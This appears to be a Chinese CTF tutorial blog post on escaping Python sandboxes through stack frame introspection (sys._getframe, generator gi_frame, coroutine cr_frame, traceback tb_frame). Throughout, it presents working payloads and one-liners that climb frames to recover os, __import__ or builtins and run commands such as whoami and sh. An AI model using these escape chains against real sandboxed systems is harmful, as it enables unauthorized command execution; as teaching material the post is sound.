什么是栈帧
每当Python调用一个函数时,它都会在内存中创建一个栈帧对象。这个对象包含了该函数执行所需的所有上下文信息。包括:
- 局部变量 (
f_locals) - 全局变量 (
f_globals) - 上一级调用者的栈帧 (
f_back) - 代码对象 (
f_code) - 内置对象 (
f_builtins)
我们可以把栈帧想象成是一个链表。当前正在执行的函数在链表的头部,通过f_back指针,我们可以一步步往回找,直到找到最外层的程序入口。
利用栈帧技术,我们可以在首先的环境中穿越由于函数调用产生的层级,去获取上层甚至全局作用域中的敏感变量或危险函数。
栈帧属性
下面介绍一些常用的栈帧属性。
| 属性 | 描述 | 用途 |
|---|---|---|
f_back | 指向上一层(调用者)的栈帧对象 | 最核心属性。用于跳出当前受限函数,回到上层寻找可用模块(如 os)。 |
f_globals | 当前栈帧的全局变量字典 | 获取全局加载的模块(如 os, sys)或配置信息 (SECRET_KEY)。 |
f_locals | 当前栈帧的局部变量字典 | 获取函数内部定义的敏感变量(如 flag)。 |
f_builtins | 当前栈帧可用的内置函数 | 如果当前环境删除了 __builtins__,可从上层栈帧找回。 |
f_code | 当前栈帧执行的代码对象 | 查看文件名、代码指令等信息。 |
f_back
这是最核心的属性。它的作用是:跳出当前函数的作用域,去操作调用者环境中的东西。
写一个demo看一下
import sys
def sandbox():
print("[*] 进入沙箱函数...")
# 1. 获取当前栈帧
current_frame = sys._getframe()
# 2. 利用 f_back 回到上一层 (main 函数的栈帧)
caller_frame = current_frame.f_back
# 3. 偷看上一层的局部变量
print(f"[!] 成功获取上层变量: {caller_frame.f_locals['flag']}")
def main():
# 这是定义在 main 里的局部变量,正常情况下 sandbox 访问不到
flag = "CTF{f_back_is_awesome}"
sandbox()
if __name__ == "__main__":
main()

可以看到,sandbox函数中的变量拿到了main函数中变量的值,说明f_back跳出了当前函数的作用域。
f_globals
它的作用是,不管我们在哪一层,通过它都能拿到当前模块加载的所有全局变量和导入的库。
写一个demo,假如我们在一个函数内部,不能写import,但是我们想用os模块,只要这个脚本的最外层导入过os,我们就能拿到os模块。
import sys
import os # 假设这是题目自带的,你不能修改
def vulnerable():
# 假设这里不能直接用 os.system,或者被过滤了
# 1. 获取当前栈帧
f = sys._getframe()
# 2. 查看全局变量字典 (f_globals)
# 这就像打开了上帝视角的仓库
global_vars = f.f_globals
if 'os' in global_vars:
print("[+] 在全局变量中找到了 os 模块!")
# 3. 直接通过字典调用 os
global_vars['os'].system('echo "Command Executed via f_globals"')
vulnerable()
这是沙箱逃逸的主力。即使当前环境什么都没有,只要顺着f_back找到某一层,这一层的f_globals有os、sys等,就可以rce了。
f_locals
它的作用是查看特定函数内部的私有变量。
import sys
def secret_function():
# 这是一个只有函数内部知道的秘密
user_password = "MySuperSecretPassword123"
# 假设攻击者能在这里执行一行代码
frame = sys._getframe()
# 直接打印当前帧的所有局部变量
print(f"[!] 泄露当前作用域的所有变量: {frame.f_locals}")
secret_function()
特定情况下,我们可以通过读取f_locals来窃取敏感数据。
f_builtins
它的作用是获取Python原生的内置函数(如open,import,eval)。
写一个demo,这个沙箱中把open和print变成了None。
import sys
# === 模拟沙箱环境 ===
# 题目把 print 和 open 删了
print = None
open = None
# ==================
def escape():
frame = sys._getframe()
# 尝试直接调用 print,会报错,因为它是 None
# print("hello") -> Error
# 但是!栈帧里的 f_builtins 保存着 Python 最原始的内置函数
original_print = frame.f_builtins['print']
original_print("[+] 成功从 f_builtins 恢复了 print 函数!")
# 甚至可以找回 __import__ 来重新导入模块
original_import = frame.f_builtins['__import__']
os_mod = original_import('os')
original_print(f"[+] 重新导入了 os 模块: {os_mod}")
escape()
f_code
它的作用是提供关于代码本身的信息(文件名、函数名、行号、字节码)。
当我们不知道代码运行在哪里,文件名叫什么,函数名叫什么时,我们就需要探测环境。
import sys
def unknown_environment():
f = sys._getframe()
code_obj = f.f_code
print(f"当前函数名 (co_name): {code_obj.co_name}")
print(f"当前文件名 (co_filename): {code_obj.co_filename}")
print(f"当前参数数量 (co_argcount): {code_obj.co_argcount}")
print(f"局部变量名列表 (co_varnames): {code_obj.co_varnames}")
unknown_environment()
利用手法
一、sys
在Python中,主要通过sys模块来获取栈帧。最常用的是sys._getframe()。我们需要先拿到当前帧,才能往上爬。
import sys
frame = sys._getframe()
经典攻击利用手法是爬栈窃取。
加入我们想执行os.system(‘/bin/sh’),但在当前函数里os不存在。假设主程序加载了os模块,或者加载了其他模块引用了os
获取当前位置
f = sys._getframe()
向上爬一层
f = f.back
查看当前层
f.f_globals
拿到os
os_module = f.f_globals['os']
执行命令
os_module.system('whoami')
本地执行看一下基本逻辑。
本地测试
当前位置在主函数(外层),os在开头导入时,os属于全局变量,直接global拿到即可。

当os在main函数中导入时

为什么会报错?因为os是在main函数中导入的,它的作用域只有main函数内部,不属于全局变量,全局变量只有开头导入的sys和main函数本身。所以我们要用f_locals来找到局部变量中的os。

如果是在main函数中导入的os,但当前位置在其他函数中,我们不改变源码看看会怎么样

可以看到并没有找到os模块,局部变量的所有属性中也没有看到os模块。
注意到exp函数在main函数中被调用,所以main函数是exp函数的上一层。而os模块在main函数中被导入,所以我们翻到上一层找局部变量即可。

如果没有os模块,只有sys模块,可以通过sys.modules找到os模块,也就是sys.modules[‘os’].system(‘whoami’)。
这里的modules应该怎么拿呢?
f['sys']['modules']['os'] 还是 f['sys'].modules['os'] ?
我们先来看第一种。

可以看到报错。原因是f[‘sys’]取出来的是sys模块对象,而不是字典。要取出这个对象的属性,要用点字符连接的形式。
f['sys'].modules['os']

二、生成器
利用生成器我们不需要import,也不需要def定义函数,甚至不需要显式的函数调用,就能拿到栈帧。
什么是生成器
在Python中,想要拿到栈帧,通常有两条路:
- 利用sys._getframe(),这需要导入sys,还需要调用函数。
- 利用生成器对象,这时Python的语法特性。
(x for x in [])就是一个最简单的生成器。当我们写下这个时,Python解释器立刻在内存中创建了一个generator对象。为了维护这个生成器的状态(哪怕它还没开始跑,或者它是空的),解释器必须给它分配一个栈帧,并把这个栈帧挂在它的gi_frame属性上。
- [x for x in []]是一个列表推导式,计算完结果后扔掉过程,没有栈帧留下。
- (x for x in [])是一个未执行或者“懒执行”的任务包,保留栈帧。
生成器属性
gi_frame
它指向了生成器暂停时的那个栈帧对象。它是通往os、sys和builtins的桥梁。
g.gi_frame.f_back.f_globals
gi_code
它返回的是一个代码对象。
即使我们无法通过gi_frame拿到f_locals,比如变量被删了,我们依然可以通过gi_code看到编译后的静态数据。
def check():
if input() == "FLAG{Hardcoded_Secret}":
return True
yield
g = check()
# 1. 获取代码对象
code = g.gi_code
# 2. 读取代码中所有的常量 (Constant values)
# 这里面会包含所有的字符串、数字、None 等硬编码的值
print(code.co_consts)
# 输出: (None, 'FLAG{Hardcoded_Secret}')
既不需要执行代码,也不需要拿到栈帧,只要拿到生成器就能拿到所有常量。
还有其他敏感属性:
g.gi_code.co_name: 函数名。
g.gi_code.co_filename: 泄露服务器上的绝对路径(这点在文件包含漏洞中非常有用)。
g.gi_code.co_code: 原始字节码(配合 dis 模块进行逆向)。
gi_yieldfrom
当生成器使用了yield from other_gen()的语法时,当前的生成器会委托给other_gen。
此时,g.gi_frame指向的是外层生成器的帧。而g.gi_yieldfrom指向的是内层那个正在干活的生成器。
如果环境藏在一个嵌套很深的生成器中,或者外层环境被清理的很干净,我们需要利用gi_yieldfrom钻到内层去拿栈帧。
def inner():
# 假设这里面有敏感数据
secret = "Deep Secret"
yield
def outer():
yield from inner() # 委托给 inner
g = outer()
next(g) # 启动生成器,让它卡在 yield from 那一行
# 此时 g 是 outer
print(f"Outer Frame: {g.gi_frame.f_code.co_name}") # -> outer
# 通过 gi_yieldfrom 拿到 inner 生成器
inner_gen = g.gi_yieldfrom
print(f"Inner Frame: {inner_gen.gi_frame.f_code.co_name}") # -> inner
# 进而拿到 inner 的局部变量
print(inner_gen.gi_frame.f_locals)
gi_running
这是一个布尔值。当生成器正在执行时为1,当生成器暂停时为0。了解即可。
当我们拿到生成器时,我们首选gi.frame,配合sys的属性进行越狱。其次选择gi_code,找可能存在的信息泄露;最后找gi_yieldfrom。
使用方式
找到全局os模块
# 适用于:f_back 一层就能回到全局,且全局里有 os 模块
(x for x in []).gi_frame.f_back.f_globals['os'].system('whoami')
os在全局导入时

os在生成器存在的函数内部导入时

为什么会报错?我们的代码没有任何问题啊?
我们的python版本过高了(Python3.11+)。
生成器高版本Python报错
(x for x in []).gi_frame.f_back.f_locals
# 1. (x for x in []).gi_frame -> 获取生成器帧 (成功,不是 None)
# 2. .f_back -> 获取上一层帧 (失败,这里返回了 None)
# 3. .f_locals -> None.f_locals (报错)
在python3.10及以前,生成器创建时,gi_frame.f_back会直接指向创建它的那个函数,也就是innder。python3.11+版本的生成器在刚刚创建但尚未运行(Suspended状态)时,它的栈帧是“孤立”的,或者与调用栈的链接方式变了,导致f_back为None。只有当生成器正在运行时,它才会链接到调用栈。
因此高版本无法利用静态生成器的栈帧。如果想要利用它必须让它先动起来。
def inner():
import os
# 1. 先定义生成器,但不立即用
g = (x for x in [1])
# 2. 让它运行一步
# 这会强制 Python 创建并链接栈帧
try:
next(g)
except StopIteration:
pass
# 3. 现在再去拿 f_back,有时候就能拿到了
# (注:这在不同微版本中表现不稳定,不推荐作为首选)
if g.gi_frame.f_back:
g.gi_frame.f_back.f_locals['os'].system('whoami')
def main():
inner()
if __name__ == "__main__":
main()
但是它在沙箱逃逸中并不好用,仅作简单了解。
手动导入os模块
# 适用于:全局里没有 os,或者 sys 被删了
# 思路:找 builtins -> 找 __import__ -> 加载 os
(x for x in []).gi_frame.f_back.f_globals['__builtins__']['__import__']('os').system('whoami')
同样的,高版本python无法使用。
看硬编码常量
import sys
# 全局常量
GLOBAL_STR = "Hello, World!"
def inner():
# 局部常量
LOCAL_STR = "Inner Function"
# 创建生成器
gen = (x for x in [])
# 查看生成器自己的常量 (空)
print("生成器内部的常量:", gen.gi_code.co_consts)
# 利用栈帧跳到 inner 函数层,看它的代码常量
# 路径: 生成器帧 -> 上一层(inner)帧 -> inner的代码对象 -> 常量池
inner_consts = gen.gi_frame.f_back.f_code.co_consts
print("inner 函数的常量:", inner_consts)
# 再跳一层到全局,看全局的代码常量
# 路径: ... -> 再上一层(module)帧 -> module的代码对象 -> 常量池
module_consts = gen.gi_frame.f_back.f_back.f_code.co_consts
print("Global 模块的常量:", module_consts)
def main():
inner()
if __name__ == "__main__":
main()
同样的,高版本python无法使用。
三、异步挂起:协程(coroutine.cr_frame)
在Python3.5以后引入了async def和await语法。当解释器遇到async def定义的函数时,它不会把这个函数当成普通函数,而是把它编译成一个原生协程工厂。
关键特性:当我们调用一个asycn def函数时,代码不会立即执行(与生成器相同),它会返回一个协程对象(Coroutine Object)。这个对象内部已经分配好了一个栈帧,用来保存未来的执行状态。这个栈帧,就挂载在cr_frame上。
核心属性:cr_frame
它的地位等同于生成器的gi_frame。
| 对象类型 | 关键字 | 栈帧属性名 | 地位 |
|---|---|---|---|
| 生成器 | yield | gi_frame | 3.11+ 无法使用 |
| 协程 | async | cr_frame | WAF 绕过率高 |
之所以叫异步挂起,是因为async def叫做异步函数,调用它能得到协程对象。协程天生就是为了挂起和等待设计的。当我们创建一个协程对象但还没await时,它就处于Created(初始挂起)状态。此时它的栈帧是静止的,任由我们摆布。
使用方式
# 1. 定义一个异步函数 (不需要 await,空的就行)
async def spy():
pass
# 2. 调用它 -> 得到协程对象 c
# 注意:此时 spy 里的代码没跑,但 c 已经拿到栈帧了
c = spy()
# 3. 拿到栈帧 -> 拿到 globals -> 拿到 os
# 这里的路径是:c.cr_frame (协程帧) -> .f_globals (全局字典)
# 注意:这里不需要 f_back,因为 spy 是在当前上下文定义的,它的 globals 就是当前的 globals
os_mod = c.cr_frame.f_globals.get('__builtins__').__import__.('os') # 也可以用['__builtins__']
# 4. 执行命令
os_mod.system('whoami')

最后有一行报错
RuntimeWarning: coroutine 'spy' was never awaited
他的意思是我们创建了一个协程spy,但是我们从来没有await它,它没有执行,这正是我们想要的,我们不需要它执行,我们只需要它被创建的那一瞬间产生的栈帧。
四、异常回溯(Traceback)
核心原理
当Python程序运行出错时,解释器不能崩溃退出,它需要保留案发现场。它需要创建一个Traceback Object(回溯对象),详细记录在哪一行出错的,在哪个函数出错的,当时上下文(栈帧)是什么。因为只有保留了栈帧(tb_frame),调试器或者打印错误的程序才能告诉你当时的变量值。
利用链
Exception (异常对象): 错误发生后生成的对象(比如 ZeroDivisionError)。
__traceback__ (属性): 挂在异常对象上的回溯记录。
tb_frame (属性): 回溯记录里保存的 栈帧对象,这是我们的重要利用点。
f_globals (属性): 栈帧里的全局变量啊,在这里找到os等。
只要能写try…Exception,这个方法就能拿到栈帧。
使用方式
基本利用
def escape():
try:
1 / 0
except Exception as e:
# e 是异常对象
# e.__traceback__ 是回溯记录
# .tb_frame 是当前栈帧 (相当于 sys._getframe())
frame = e.__traceback__.tb_frame
# 2. 拿到栈帧后,剩下的操作和之前一模一样
frame.f_back.f_globals['__builtins__'].__import__('os').system('whoami')
escape()

它可以写成一行
# 只要允许try Exception就能使用
try:raise Exception
except Exception as e:e.__traceback__.tb_frame.f_back.f_globals['os'].system('sh')
多层异常
有时候,错误是层层传递的(比如 A 调用 B,B 报错了)。traceback 对象实际上是一个链表。
| 属性 | 含义 |
|---|---|
tb_frame | 当前层 的栈帧。 |
tb_next | 指向 更深一层 (被调用者) 的 traceback 对象。 |
tb_lineno | 出错的代码行号。 |
有些题目会把你包裹在一个很深的调用链里,或者利用 sys.exc_info() 来获取全局唯一的那个 traceback。
import sys
def deep_error():
1/0
def main():
try:
deep_error()
except:
# sys.exc_info() 返回 (type, value, traceback)
tb = sys.exc_info()[2]
# 此时 tb 指向的是 main 这一层的错误现场
print(f"当前层: {tb.tb_frame.f_code.co_name}") # -> main
# tb.tb_next 指向导致错误的更深一层 (deep_error)
if tb.tb_next:
print(f"内层: {tb.tb_next.tb_frame.f_code.co_name}") # -> deep_error
print(tb.tb_next.tb_frame.f_globals['__builtins__'].__import__('os').system('whoami'))
if __name__ == "__main__":
main()

3万+

被折叠的 条评论
为什么被折叠?



